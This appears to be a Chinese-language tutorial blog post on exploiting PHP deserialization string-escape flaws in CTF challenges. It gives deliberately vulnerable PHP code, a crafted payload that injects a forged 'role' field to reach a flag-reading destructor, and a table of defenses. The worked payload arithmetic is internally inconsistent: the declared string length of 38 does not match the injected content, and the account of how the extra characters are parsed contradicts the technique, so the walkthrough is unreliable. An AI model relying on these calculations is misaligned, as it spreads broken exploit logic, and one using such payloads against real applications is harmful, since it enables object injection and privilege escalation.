保姆级图解PHP字符串逃逸:从“算账”到拿下CTF Flag

张开发
2026/4/14 15:33:12 15 分钟阅读

分享文章

保姆级图解PHP字符串逃逸:从“算账”到拿下CTF Flag
从会计记账到CTF夺旗PHP字符串逃逸漏洞的数学艺术想象一下你正在核对一笔复杂的账目——每笔收支都必须精确到分毫任何数字的增减都会引发连锁反应。PHP字符串逃逸漏洞的利用过程本质上就是一场精密的字符会计游戏。当序列化数据中的字符串被过滤函数修改时就像账本上的数字被意外涂改我们需要通过精确计算字符差额来重新平衡整个数据结构最终让系统认账我们精心设计的恶意payload。1. 序列化账簿理解PHP的数据记账本PHP的序列化机制就像一套特殊的会计记账系统。当我们将对象转换为序列化字符串时PHP会为每个属性建立详细的账目记录class BankAccount { public $owner Alice; protected $balance 1000; private $pin 1234; } echo serialize(new BankAccount()); // 输出O:10:BankAccount:3:{s:5:owner;s:5:Alice;s:11:*balance;i:1000;s:15:BankAccountpin;s:4:1234;}这个记账系统有几个关键特征严格长度审计每个字符串值都像会计凭证一样标注精确长度如s:5:Alice结构化分隔使用分号;作为字段分隔符花括号}作为账目结束标记类型标识用字母代码标记数据类型s-字符串i-整数a-数组等当这些序列化数据被反序列化时PHP会像审计员一样严格检查先读取数据类型和长度声明按照声明的长度提取对应数量的字符遇到分号或花括号时切换到下一个字段这种机制在正常情况下能确保数据完整但一旦原始账目被修改就会产生有趣的漏洞利用机会。2. 账目失衡当字符过滤扰乱数据簿记考虑一个在线银行系统它会对用户输入执行安全过滤function sanitize($input) { // 将敏感词hack替换为security return str_replace(hack, security, $input); } $userData serialize(new Transaction($_POST[desc])); $cleanData sanitize($userData); $transaction unserialize($cleanData);这个看似安全的过滤会引发两类字符账目问题2.1 字符通胀增多替换当替换后的字符串比原串长时如hack→security会导致原字符串原长度新字符串新长度差额hack4security84这种字符通胀会使后续字段向前移位。通过精确计算我们可以计算每个替换产生的字符差额本例为4确定需要覆盖的目标字段距离当前字段的字符距离注入特定数量的原词使得替换后的溢出字符正好覆盖目标字段2.2 字符通缩减少替换当替换后的字符串更短时如security→safe会导致原字符串原长度新字符串新长度差额security8safe4-4这种字符通缩会使后续字段向后移位。攻击者可以计算每个替换减少的字符数本例为-4在适当位置注入额外字段这些字段会在替换后被拉入有效数据区3. 平衡账本构造精确的字符逃逸攻击让我们通过一个CTF案例演示如何像会计对账一样精确计算payload。假设有以下漏洞代码class CTFChallenge { public $username guest; public $role user; public function __wakeup() { $this-username guest; } public function __destruct() { if ($this-role admin) { readfile(/flag); } } } $data unserialize(str_replace(hack, security, serialize(new CTFChallenge($_GET[data]))));3.1 攻击准备建立基础账目首先生成合法序列化数据$legit new CTFChallenge(); $legit-username hacker; $legit-role user; echo serialize($legit); // 输出O:11:CTFChallenge:2:{s:8:username;s:6:hacker;s:4:role;s:4:user;}我们需要覆盖的目标是role字段它距离username值的距离为;s:4:role;s:4:user;}共22个字符包含引号、分号等特殊字符3.2 计算替换差额每次hack→security替换原词hack4字节新词security8字节单次替换差额4字节要覆盖22个字符需要满足替换总增长 需要覆盖的字符数 替换次数 × 单次增长 22 n × 4 22 → n5.5因为替换次数必须为整数我们取n6共产生24字节增长比需要的多2字节3.3 构造恶意payload在username中注入6个hack后接精心设计的溢出部分hackhackhackhackhackhack;s:4:role;s:5:admin;}序列化后变为O:11:CTFChallenge:2:{s:8:username;s:38:hackhackhackhackhackhack;s:4:role;s:5:admin;};s:4:role;s:4:user;}经过替换后O:11:CTFChallenge:2:{s:8:username;s:38:securitysecuritysecuritysecuritysecuritysecurity;s:4:role;s:5:admin;};s:4:role;s:4:user;}PHP解析时会读取username长度为38实际替换后有48个字符前38个字符为securitysecuritysecuritysecuritysecurit剩余的ysecurity;s:4:role;s:5:admin;}被当作后续字段最终role值变为admin3.4 精确调整技巧由于我们多计算了2个字节24-22可以通过以下方式微调在payload开头添加2个无关字符xxhackhackhackhackhackhack;s:4:role;s:5:admin;}或减少1个hack并使用5次替换增长20字节然后额外补充2个字符4. 防御策略加固你的数据账本要防范这类字符会计攻击开发者可以采取以下措施防御措施实现方式效果严格输入验证过滤非预期字符阻止恶意payload注入使用JSON替代序列化json_encode()/json_decode()避免PHP序列化特性问题签名验证对序列化数据添加HMAC签名确保数据未被篡改最新PHP版本升级到PHP 7.3修复已知反序列化漏洞自定义序列化处理器实现Serializable接口更严格的控制序列化过程对于CTF选手理解这些防御手段也能帮助逆向思考攻击路径。在真实渗透测试中建议审计所有unserialize()调用点检查是否存在字符串替换等过滤函数计算可能的字符增长/减少空间使用自动化工具辅助计算payload长度记住字符串逃逸攻击就像一场精密的会计审计——只有当你比系统更了解它的记账规则时才能发现其中的漏洞并加以利用。这种对数据格式的深刻理解正是区分普通开发者和安全专家的关键能力之一。

更多文章